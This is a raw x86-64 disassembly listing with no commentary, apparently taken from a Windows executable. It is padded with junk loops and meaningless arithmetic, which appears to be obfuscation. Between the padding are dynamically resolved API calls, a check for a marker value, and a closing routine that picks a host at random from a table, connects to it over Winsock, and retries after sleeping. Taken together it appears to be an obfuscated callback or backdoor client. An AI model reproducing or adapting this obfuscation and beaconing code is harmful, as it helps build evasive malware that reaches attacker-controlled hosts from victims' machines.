sub rsp, 0x348
movzx edx, al
mov ecx, dword [rbp - 0x62]
or cx, ax
mov qword [rbp - 0x227], r8
mov eax, 0x7bda
lea r11, [rbp - 0x1c9]
lea r13, [rbp - 0x304]
mov eax, edx
movzx ecx, ch
mov qword [rbp - 0xc], r13
mov ecx, eax
mov dword [rbp - 0x81], eax
mov edx, dword [rbp - 0x7f]
mov eax, ecx
and dword [rbp - 0x2fc], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000411e
mov r13, qword [rbp - 0x190]
mov edx, dword [rbp - 0xb2]
movzx ecx, ch
mov eax, dword [rbp - 0x25]
mov edx, dword [rbp - 0x2ee]
add eax, 0x3520
xor r11, qword [rbp - 0x1d8]
mov r10, qword [rbp - 0xce]
mov ecx, dword [rbp - 0x332]
mov rdx, qword [rbp - 0x2e7]
mov qword [rbp - 0x283], rdx
mov dword [rbp - 0x2b4], eax
mov eax, dword [rbp - 0x29]
add dword [0x140009a39], eax
xor dword [rbp - 0x1b1], ecx
mov dx, word [rbp - 0x30e]
or al, byte [rbp - 0x28f]
sub r10, qword [rbp - 0x2b2]
add rdx, 0x6a77
add r9, r11
and qword [rbp - 0x20c], r8
add qword [rbp - 0xb1], r11
mov dword [rbp - 0xa], ecx
xor edx, dword [rbp - 0x1f0]
sub eax, dword [rbp - 0x276]
mov dword [rbp - 0x2c4], eax
mov r8, rdx
mov dword [rbp - 0x25b], eax
mov rcx, r13
mov qword [rbp - 0x2c4], r13
mov edx, dword [rbp - 0x104]
add ecx, 0xe87b
add rdx, 0x4ee6
movzx ecx, dx
mov rcx, qword [rbp - 0x89]
mov qword [rbp - 0xc2], rcx
mov edx, dword [0x140009a3a]
and qword [rbp - 0x54], r8
mov dword [rbp - 0x330], edx
lea r8, [rbp - 0x23b]
add rdx, 0xc49b
and dword [rbp - 0x2b4], edx
mov rax, qword [rbp - 0x217]
mov eax, ecx
mov qword [rbp - 0x30a], rdx
movzx ecx, cx
mov qword [rbp - 0x1a8], r10
movzx ecx, byte [rbp - 0xce]
movzx eax, cl
inc qword [rsp]
cmp qword [rsp], 0x172d
jle 0x140004005
add rsp, 0x10
mov eax, dword [rbp - 0x321]
add qword [0x140009a32], rcx
lea rax, [rbp - 0x14d]
sub rax, r10
mov dword [rbp - 0x2ee], eax
leave
pop r13
call fcn.140006f7b
cmp eax, 0xffffffff
je 0x1400035a4
mov rbx, qword [0x1400092f0]
mov dword [rbp - 0xbe], eax
push rax
push rax
push rbp
mov rbp, rsp
sub rsp, 0x108
mov dword [rbp - 0xa2], edx
or dword [rbp - 0xc4], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400041ae
mov rdx, qword [rbp - 0x67]
mov dword [rbp - 0xd5], ecx
sub qword [rbp - 0xa2], r8
mov r9, qword [rbp - 0x9b]
inc qword [rsp]
mov ecx, 0x2b1b
cmp ecx, dword [rsp]
jl 0x140004192
add rsp, 0x10
mov r10, r9
and ecx, 0x160b
mov r9, qword [rbp - 9]
mov ecx, eax
mov eax, dword [rbp - 0xd7]
sub r8, 0xf520
add dword [rbp - 0xd6], edx
test edx, 0x38700801
jns 0x14000424e
or dh, byte [rbp - 0x53]
mov rcx, qword [0x140009a32]
and edx, 0x9ccb
mov r11, rcx
mov r8, qword [rbp - 0x54]
add dword [0x140009a32], edx
mov dword [rbp - 0xe7], ecx
mov r10, rcx
mov r10, rcx
xor rdx, 0x55e3
movzx ecx, dl
mov dword [rbp - 0xf3], edx
mov r8, 0xc9b1
movzx ecx, ah
lea r10, [rbp - 0x26]
or dword [rbp - 0x48], ecx
movzx eax, cl
movzx eax, ah
add ecx, edx
mov rax, r8
sub edx, 0xcdf7
mov edx, eax
mov r10, qword [str.i6o68QMZc9RlAxzRE1RYiQxf9LofZXAOj87eQSjNj0hnO]
mov qword [rbp - 0x16], r11
mov edx, dword [rbp - 0x91]
sub rax, rdx
mov r9, 0xcb2c
and qword [rbp - 0x10], r9
lea eax, [rbp - 0x7e]
mov dword [rbp - 0xa3], edx
sub dword [rbp - 0xfa], ecx
mov qword [rbp - 0xfb], rcx
mov dword [rbp - 0x4a], edx
sub qword [rbp - 0x9f], r10
mov r8, qword [0x140009a34]
mov r11, qword [0x140009a31]
sub ecx, 0x4155
cmp ecx, dword [0x140009a32]
je 0x140004303
or rax, qword [rbp - 0x90]
lea rax, [rbp - 0x6f]
lea r11, [rbp - 0x70]
mov eax, 0x1cb
mov dword [rbp - 0xdb], eax
mov qword [rbp - 0x1a], rdx
mov rax, qword [rbp - 0xec]
mov dword [rbp - 0xd1], eax
lea r10, [rbp - 2]
or dword [rbp - 0x6e], eax
mov r11, 0xe355
mov rdx, 0xd160
mov qword [rbp - 0x81], r8
mov cx, 0x48df
mov dword [rbp - 0x3d], ecx
or dword [rbp - 0xe2], edx
mov ecx, dword [rbp - 0xf2]
mov rax, rcx
mov ecx, dword [rbp - 0x99]
mov ecx, eax
leave
pop rax
pop rax
cmp eax, 0xffffffff
jne 0x14000441c
mov rcx, qword [0x1400092f0]
mov rax, qword [0x1400099b3]
call rax
mov qword [0x1400092f0], 0
jmp 0x1400035a4
mov rcx, rbx
lea rdx, [0x140009250]
mov rax, qword [0x1400099e3]
call rax
cmp rax, 0
je 0x14000430f
mov rcx, rbx
lea rdx, [0x140009260]
mov rax, qword [0x1400099e3]
call rax
cmp rax, 0
je 0x14000430f
mov rbx, rax
add rbx, 4
cmp dword [rbx], 0x66666f6f
je 0x140004dd5
cmp dword [rbp - 0xbe], 0
je 0x14000430f
push rbx
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x3c8
mov ecx, 0xd5e9
mov rdx, rsi
mov qword [rbp - 8], rsi
mov r10, qword [rbp - 0x255]
add r10, qword [rbp - 0x49]
mov dword [rbp - 0x27f], ecx
cmp rdx, qword [0x140009a2e]
jb 0x14000467b
and r8, rbx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400044f5
add qword [rbp - 0x1cc], rdx
lea rsi, [rbp - 0x18a]
mov r11, rax
and dx, si
mov rax, r9
and dword [rbp - 0xbf], ebx
lea rbx, [rbp - 0x134]
movzx esi, dl
mov edx, dword [rbp - 0xc1]
add dword [rbp - 0x2c1], eax
inc qword [rsp]
mov rdx, 0x60f9
cmp qword [rsp], rdx
jle 0x1400044be
add rsp, 0x10
add r8, qword [rbp - 0xc4]
mov r10, qword [rbp - 0x1ae]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000453c
mov edx, eax
mov rbx, 0x71dd
mov qword [rbp - 0x1bf], r9
mov dword [rbp - 0x2af], esi
inc qword [rsp]
mov r10, 0xebcc
cmp qword [rsp], r10
jle 0x140004522
add rsp, 0x10
mov dword [rbp - 0x3b6], eax
add dword [rbp - 0x3ab], esi
movzx esi, ah
movzx edx, word [0x140009a2d]
or edx, dword [rbp - 0x273]
sub esi, eax
xor qword [rbp - 0x20], r9
mov r10, rbx
or edx, esi
mov r10, 0xd89d
mov rsi, 0x925b
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004620
mov dword [rbp - 0x339], edx
mov r8, qword [rbp - 0x37d]
mov ebx, edx
mov dword [0x140009a35], eax
mov dword [rbp - 0x2fb], ecx
mov edx, ebx
mov dword [rbp - 0x1ef], edx
mov r10, 0x3766
and qword [rbp - 0x183], rdx
mov esi, dword [rbp - 0x13]
mov ebx, dword [rbp - 0x38e]
mov dword [rbp - 0x259], edx
or esi, eax
mov esi, dword [rbp - 0x1fa]
mov dword [rbp - 0xc4], ecx
mov esi, dword [rbp - 0x8a]
mov rsi, qword [rbp - 0x255]
lea rbx, [0x140009a3a]
add ebx, ecx
mov r11, 0x2e04
mov rdx, 0xe6ae
add word [rbp - 0x45], cx
and r10, qword [rbp - 0x39b]
mov dword [rbp - 0x260], eax
sub ebx, 0x3ddc
inc qword [rsp]
mov ebx, 0x69e6
cmp ebx, dword [rsp]
jl 0x140004593
add rsp, 0x10
add eax, dword [rbp - 0x2c0]
lea r9, [rbp - 0xc1]
mov ebx, dword [rbp - 0x34e]
lea ecx, [rbp - 0xb]
add edx, dword [rbp - 0x2c4]
mov dword [rbp - 0xfb], edx
add eax, 0x9530
or r11, 0x74a6
mov r10, qword [rbp - 0x1d9]
sub dword [rbp - 0x319], esi
mov rax, qword [rbp - 0x61]
mov r10, qword [str.i6o68QMZc9RlAxzRE1RYiQxf9LofZXAOj87eQSjNj0hnO]
or r10, r9
leave
pop rsi
pop rbx
mov rdi, rbx
movsxd rsi, dword [rbp - 0xbe]
mov r12, rsi
dec rsi
call fcn.14000507b
movsxd rsi, dword [rbp - 0xbe]
mov al, byte [rbx + rsi - 1]
mov byte [0x140009483], al
call fcn.140006242
lea rsi, [0x140009008]
push rdi
push rbp
mov rbp, rsp
sub rsp, 0x408
movzx ecx, dx
mov ecx, dword [rbp - 0x29e]
mov rax, 0x6f92
mov edi, dword [rbp - 0xd4]
mov dword [rbp - 0xf0], edx
mov eax, edx
and edi, eax
mov qword [rbp - 0xcc], r10
mov ecx, edi
sub ecx, edx
mov edx, edi
or rax, qword [rbp - 0x3ab]
add dword [rbp - 0x8a], edx
mov ecx, 0xa217
mov rax, qword [rbp - 0x181]
mov qword [rbp - 0x263], rdx
mov edx, dword [rbp - 0x248]
xor qword [rbp - 0xe2], rdi
mov r11, 0x7b57
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400047f6
mov dword [rbp - 0x1ea], ecx
movzx eax, ch
mov eax, dword [rbp - 0x345]
mov r11, qword [rbp - 0x3a1]
xor eax, edi
mov dword [rbp - 0x11a], edi
mov qword [rbp - 0x30], r8
sub dword [rbp - 0x18b], eax
mov edi, dword [rbp - 0x253]
mov rdi, qword [rbp - 0x39d]
lea rdi, [rbp - 0x3ad]
mov eax, dword [rbp - 0x225]
mov ecx, 0x7737
mov qword [rbp - 0x3b4], r11
sub rdi, 0x9ff9
mov ecx, edx
and ecx, dword [0x140009a36]
mov r8, rdx
movzx eax, al
mov ecx, 0x5baa
mov qword [rbp - 0xea], r8
and ecx, dword [rbp - 0x98]
mov rax, qword [rbp - 0x1c6]
mov ecx, eax
mov eax, dword [rbp - 0x2f3]
mov rcx, rdi
add r8, qword [0x140009a37]
mov r10, r9
and rdi, qword [rbp - 0x81]
movzx ecx, ah
and qword [rbp - 0x35c], rdi
lea rdi, [rbp - 0x22]
add edx, eax
mov qword [rbp - 0x2dc], rdx
movzx edx, byte [rbp - 0xd7]
or qword [rbp - 0xda], r11
mov qword [rbp - 0x31e], r11
inc qword [rsp]
cmp qword [rsp], 0x4073
jle 0x14000472e
add rsp, 0x10
leave
pop rdi
mov rcx, rsi
lea rdx, [0x140009103]
cmp byte [0x140009483], 1
jne 0x140004824
lea rdx, [0x140009108]
mov rax, qword [0x1400099d3]
call rax
mov rcx, rsi
lea rdx, [0x1400092f8]
mov rax, qword [0x1400099ab]
call rax
push rax
push rax
push rbp
mov rbp, rsp
sub rsp, 0x218
lea edx, [rbp - 0x12f]
cmp rax, rcx
jno 0x1400049d5
nop
and r8, qword [rbp - 0x49]
mov r11, r10
mov qword [rbp - 0x1fc], r10
mov dword [rbp - 0x23], edx
mov rcx, rdx
or r8, 0xd3
sub dword [rbp - 0x9d], eax
mov rdx, r11
and eax, ecx
mov rcx, qword [rbp - 0x124]
mov eax, ecx
mov ecx, dword [rbp - 0x118]
and rdx, r10
mov rcx, rax
mov edx, dword [str.i6o68QMZc9RlAxzRE1RYiQxf9LofZXAOj87eQSjNj0hnO]
lea r8, [rbp - 0x56]
mov qword [rbp - 0x1b0], rcx
mov r9, qword [rbp - 0x1a0]
movzx edx, al
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000490c
mov eax, dword [rbp - 0x202]
movzx edx, byte [rbp - 0x3d]
mov eax, ecx
mov eax, 0xee14
sub r11, rcx
and edx, 0x6476
add r9, qword [0x140009a39]
lea r11, [rbp - 0x208]
mov qword [rbp - 0x10e], rcx
and rdx, r8
mov qword [rbp - 0x1e1], r9
lea r8, [rbp - 0x97]
lea r9, [rbp - 0x169]
inc qword [rsp]
mov edx, 0x50d5
cmp edx, dword [rsp]
jl 0x1400048c1
add rsp, 0x10
mov r11, r8
mov cx, word [rbp - 0xd7]
sub rdx, 0x4567
movzx eax, dl
mov ecx, 0xafe5
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004964
mov qword [rbp - 0x1c7], rdx
mov r9, qword [rbp - 0x1b5]
xor qword [rbp - 0x2e], r10
movzx edx, ch
mov word [rbp - 0xc3], cx
sub rcx, rax
inc qword [rsp]
mov r9, 0x242c
cmp qword [rsp], r9
jle 0x140004941
add rsp, 0x10
add rax, r11
mov edx, dword [rbp - 0xb8]
mov qword [rbp - 0x8d], r11
movzx eax, ch
add ecx, dword [rbp - 0x1d6]
mov r8, 0x47a2
mov eax, ecx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400049c4
mov dword [rbp - 0xfd], ecx
mov rdx, qword [rbp - 0x166]
mov qword [rbp - 0x8d], r10
mov r9, qword [rbp - 0x19c]
inc qword [rsp]
mov r8, 0x6b7a
cmp qword [rsp], r8
jle 0x1400049a5
add rsp, 0x10
leave
pop rax
pop rax
cmp rax, 0
je 0x14000430f
mov rdi, rax
mov rcx, rbx
mov rdx, 1
movsxd r8, dword [rbp - 0xbe]
dec r8
mov r9, rdi
mov rax, qword [0x1400099bb]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x1c8
mov qword [rbp - 0x1e], rcx
add rax, rdx
movzx edx, byte [rbp - 0x16]
or ecx, edx
mov rcx, r10
sub edx, 0x21f8
mov ecx, eax
sub qword [rbp - 0xc2], r11
mov dword [0x140009a30], ecx
movzx edx, cl
mov dword [0x140009a34], edx
lea r11, [rbp - 0xbb]
sub qword [rbp - 0x17d], rcx
mov dword [rbp - 0x19d], edx
sub edx, dword [rbp - 0xb8]
mov edx, dword [rbp - 0xa5]
mov ecx, dword [rbp - 0x16b]
xor edx, eax
mov dword [rbp - 0x18c], ecx
cmp eax, dword [0x140009a33]
jne 0x140004b2a
mov dword [rbp - 0x11e], edx
sub ecx, 0x28a8
xor r9, r10
mov ecx, dword [rbp - 0x101]
mov r8, 0x8bdc
xor r10, qword [rbp - 0x175]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004b03
add edx, 0xdacb
lea rcx, [rbp - 0x142]
add eax, ecx
xor dword [0x140009a33], ecx
mov rcx, 0xc3ca
mov dword [rbp - 0xbf], edx
mov ecx, dword [rbp - 0x38]
mov ecx, dword [rbp - 0x1ae]
mov dword [rbp - 0xce], eax
mov ecx, dword [rbp - 0x32]
nop
mov dword [rbp - 0x175], edx
mov qword [0x140009a2e], r8
lea rdx, [rbp - 0xfb]
add r9, qword [0x140009a30]
mov dword [rbp - 0xaf], ecx
inc qword [rsp]
mov r9, 0x8d81
cmp qword [rsp], r9
jle 0x140004aa9
add rsp, 0x10
mov ecx, 0xdf5c
mov r10, rcx
mov rdx, qword [rbp - 0xd9]
lea r10, [rbp - 0x132]
mov r9, 0x94f0
xor r8, qword [rbp - 0x1a7]
mov rcx, qword [rbp - 0x2a]
and ecx, edx
mov rax, 0x91e
movzx ecx, ch
mov dword [rbp - 0xef], ecx
add dword [rbp - 0xe4], edx
mov qword [rbp - 0x15c], rcx
mov r10, 0x89bf
mov eax, 0x9b9
lea rcx, [rbp - 0x15d]
or edx, ecx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004bcc
movzx eax, ah
add eax, dword [rbp - 0xfc]
add dword [rbp - 0x98], eax
mov rcx, qword [rbp - 0xac]
add ecx, eax
add r11, qword [0x140009a2c]
mov dword [rbp - 0x17c], ecx
and eax, dword [rbp - 0x4a]
mov edx, eax
mov edx, dword [rbp - 0x1a4]
mov qword [rbp - 0x87], rax
mov eax, dword [rbp - 0x43]
mov qword [rbp - 0x1e], r10
and dword [rbp - 0x189], ecx
mov dword [0x140009a3a], eax
inc qword [rsp]
cmp qword [rsp], 0xa65a
jle 0x140004b7e
add rsp, 0x10
leave
mov rcx, rdi
mov rax, qword [0x1400099a3]
call rax
mov rcx, qword [0x1400092f0]
mov rax, qword [0x1400099b3]
call rax
mov qword [0x1400092f0], 0
cmp byte [0x140009483], 1
jne 0x140004c2c
lea rcx, [0x14000949b]
lea rdx, [0x140009484]
mov r8, rsi
mov rax, qword [0x1400099cb]
call rax
lea rsi, [0x14000949b]
push rdi
push r13
push rbx
push rsi
push r12
push rbp
mov rbp, rsp
sub rsp, 0x4e8
movzx ecx, byte [0x140009a36]
mov edx, dword [rbp - 0x195]
xor rdx, 0xdc7d
mov ecx, ebx
sub edi, edx
movzx eax, cl
mov dword [rbp - 0x483], esi
add r13, rax
mov r13, r11
add eax, edi
or ebx, dword [rbp - 0x224]
sub qword [rbp - 0x3db], rax
mov r10, rbx
test qword [0x140009a2e], r10
jmp 0x140004d31
mov dword [rbp - 0x415], ecx
mov edi, ecx
or r11, qword [rbp - 0x303]
test dword [str.i6o68QMZc9RlAxzRE1RYiQxf9LofZXAOj87eQSjNj0hnO], eax
jae 0x140004dbc
xor ebx, dword [rbp - 0x4a0]
mov dword [0x140009a37], ecx
xor eax, ecx
xor r9, 0x8b1a
mov dword [str.i6o68QMZc9RlAxzRE1RYiQxf9LofZXAOj87eQSjNj0hnO], edi
sub rbx, qword [rbp - 0x382]
mov dword [rbp - 0x22f], ebx
mov dword [rbp - 0x225], ecx
mov edi, dword [rbp - 0x10d]
movzx ecx, byte [rbp - 0xb4]
mov rdi, r11
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004dab
leave
pop r12
pop rsi
pop rbx
pop r13
pop rdi
mov r10, 0
call fcn.14000579f
jmp 0x140004150
mov rax, 0
call sub.KERNEL32.dll_ExitProcess
push r14
push rdi
push rsi
push rbx
push r12
push r13
push r15
push rbp
mov rbp, rsp
sub rsp, 0x238
add eax, dword [rbp - 0x183]
mov esi, eax
call fcn.140004fe9
mov r12, qword [0x140009a37]
mov r13, r9
movzx ecx, dx
sub rsi, qword [rbp - 0x22f]
sub dword [rbp - 0xec], edx
add esi, edi
mov edx, dword [rbp - 0x1eb]
call fcn.140004f1e
test esi, 0xf9c6f7ae
je 0x140004ecc
mov ebx, dword [0x140009a2f]
and eax, dword [rbp - 0x100]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004e86
mov dword [rbp - 0xe7], edx
call sub.SHELL32.dll_ShellMessageBoxW
mov edi, dword [rbp - 0xa8]
mov rsi, r14
mov ebx, dword [rbp - 0x123]
mov dword [rbp - 0x58], eax
and r10, 0x1440
and dword [rbp - 0x134], edi
mov qword [rbp - 0x13a], r12
inc qword [rsp]
mov ebx, 0xb032
cmp ebx, dword [rsp]
jl 0x140004e51
add rsp, 0x10
lea r9, [0x140009a33]
mov rsi, qword [rbp - 0x18e]
mov byte [rbp - 0x154], ch
mov qword [rbp - 0x217], r9
sub r11, rsi
mov qword [rbp - 0x159], r9
mov dword [rbp - 0x147], esi
mov ecx, dword [rbp - 0xb6]
add r13, qword [rbp - 0x1c0]
sub rax, 0xc590
mov esi, dword [rbp - 0x3a]
add qword [rbp - 0x181], r8
and rax, rbx
call sub.KERNEL32.dll_FindStringOrdinal
sub r9, qword [rbp - 0x184]
xor qword [rbp - 0x17d], r14
nop
add dword [rbp - 0x20d], edx
mov r8, qword [0x140009a38]
mov r15, rdx
add esi, dword [rbp - 0x112]
add r9, r8
call sub.KERNEL32.dll_SetThreadpoolStackInformation
leave
pop r15
pop r13
pop r12
pop rbx
pop rsi
pop rdi
pop r14
ret
push rsi
push r12
push rbp
mov rbp, rsp
sub rsp, 0xc8
mov dword [rbp - 0x6d], esi
sub esi, eax
cmp rsi, 0x3cfd6366
jno 0x140006d26
mov esi, edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140006d51
add r9, rax
mov r12, qword [rbp - 0xb2]
add dword [rbp - 0x8f], ecx
mov ecx, dword [rbp - 0x48]
mov eax, dword [rbp - 0x81]
inc qword [rsp]
mov rax, 0x36eb
cmp qword [rsp], rax
jle 0x140006d34
add rsp, 0x10
movzx ecx, ch
movzx eax, byte [rbp - 0x28]
xor esi, dword [rbp - 0x5c]
sub r12, 0x3b8a
lea rax, [rbp - 0x5e]
test r8, 0xffffffffed08d51f
je 0x140006db4
sub dword [rbp - 0xac], ecx
mov dword [rbp - 0x5e], esi
and rax, r9
mov qword [rbp - 0x7d], rsi
mov rcx, qword [rbp - 0x8f]
mov rdx, qword [rbp - 0x25]
sub dword [rbp - 0x9a], ecx
movzx eax, ah
and ecx, dword [rbp - 0x63]
movzx esi, ah
movzx esi, cl
sub r8, qword [rbp - 0xab]
mov dword [rbp - 0x84], edx
sub edx, 0x9d2f
sub r10, qword [rbp - 0x70]
mov ecx, dword [rbp - 0x18]
or dword [rbp - 0x33], ecx
mov rsi, r9
mov eax, dword [rbp - 0xb8]
add eax, dword [rbp - 0x3a]
mov qword [rbp - 0x17], r9
add ecx, dword [rbp - 0x31]
mov dword [rbp - 0x13], ecx
mov edx, dword [rbp - 0xb3]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140006e89
sub dx, si
mov qword [rbp - 0x70], r10
mov dword [rbp - 0x1e], edx
mov esi, dword [rbp - 0x9b]
add eax, dword [rbp - 0x8c]
mov r9, r12
mov qword [rbp - 0x71], r11
mov qword [rbp - 0xbb], rax
xor eax, dword [rbp - 0x69]
mov r12, r10
mov qword [0x140009a38], rcx
mov r8, r11
mov edx, dword [rbp - 0x17]
mov r11, qword [rbp - 0x90]
add r10, 0x1700
xor r12, 0x2db6
add byte [0x140009a33], ah
mov edx, dword [rbp - 0xbe]
mov r12, rsi
xor r9, qword [rbp - 0x24]
mov qword [rbp - 0x97], rcx
sub r11, r12
mov edx, dword [rbp - 0x6b]
mov eax, 0x4285
mov qword [rbp - 0x48], rax
mov edx, dword [0x140009a36]
mov qword [rbp - 0x5b], r9
mov qword [rbp - 0x2e], rax
sub eax, dword [rbp - 4]
mov edx, dword [rbp - 0x1a]
sub eax, esi
mov eax, dword [rbp - 0x6d]
inc qword [rsp]
mov rsi, 0x9566
cmp qword [rsp], rsi
jle 0x140006df7
add rsp, 0x10
leave
pop r12
pop rsi
mov rcx, 0x1388
call sub.KERNEL32.dll_Sleep
mov rax, 0
cmp rax, 0
je 0x140006d08
push rbx
sub rsp, 0x30
call sub.msvcrt.dll_rand
cdq
idiv dword [0x1400098f7]
lea rcx, [0x1400098df]
mov rcx, qword [rcx + rdx*8]
mov qword [0x1400091be], rcx
xor r8d, r8d
lea rdx, [0x1400091bb]
mov qword [rsp + 0x28], 0
lea r9, [rsp + 0x28]
call sub.WS2_32.dll_getaddrinfo
test eax, eax
jne 0x140006f59
mov rax, qword [rsp + 0x28]
mov r8d, 6
mov edx, 1
mov ecx, dword [rax + 4]
call sub.WS2_32.dll_socket
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140006f4f
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rcx + 0x20]
mov r8d, dword [rcx + 0x10]
mov rcx, rbx
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
je 0x140006f47
mov rax, rbx
add rsp, 0x30
pop rbx
ret
mov rcx, rbx
call sub.WS2_32.dll_closesocket
mov rcx, qword [rsp + 0x28]
call sub.WS2_32.dll_freeaddrinfo
mov rax, 0xffffffffffffffff
add rsp, 0x30
pop rbx
ret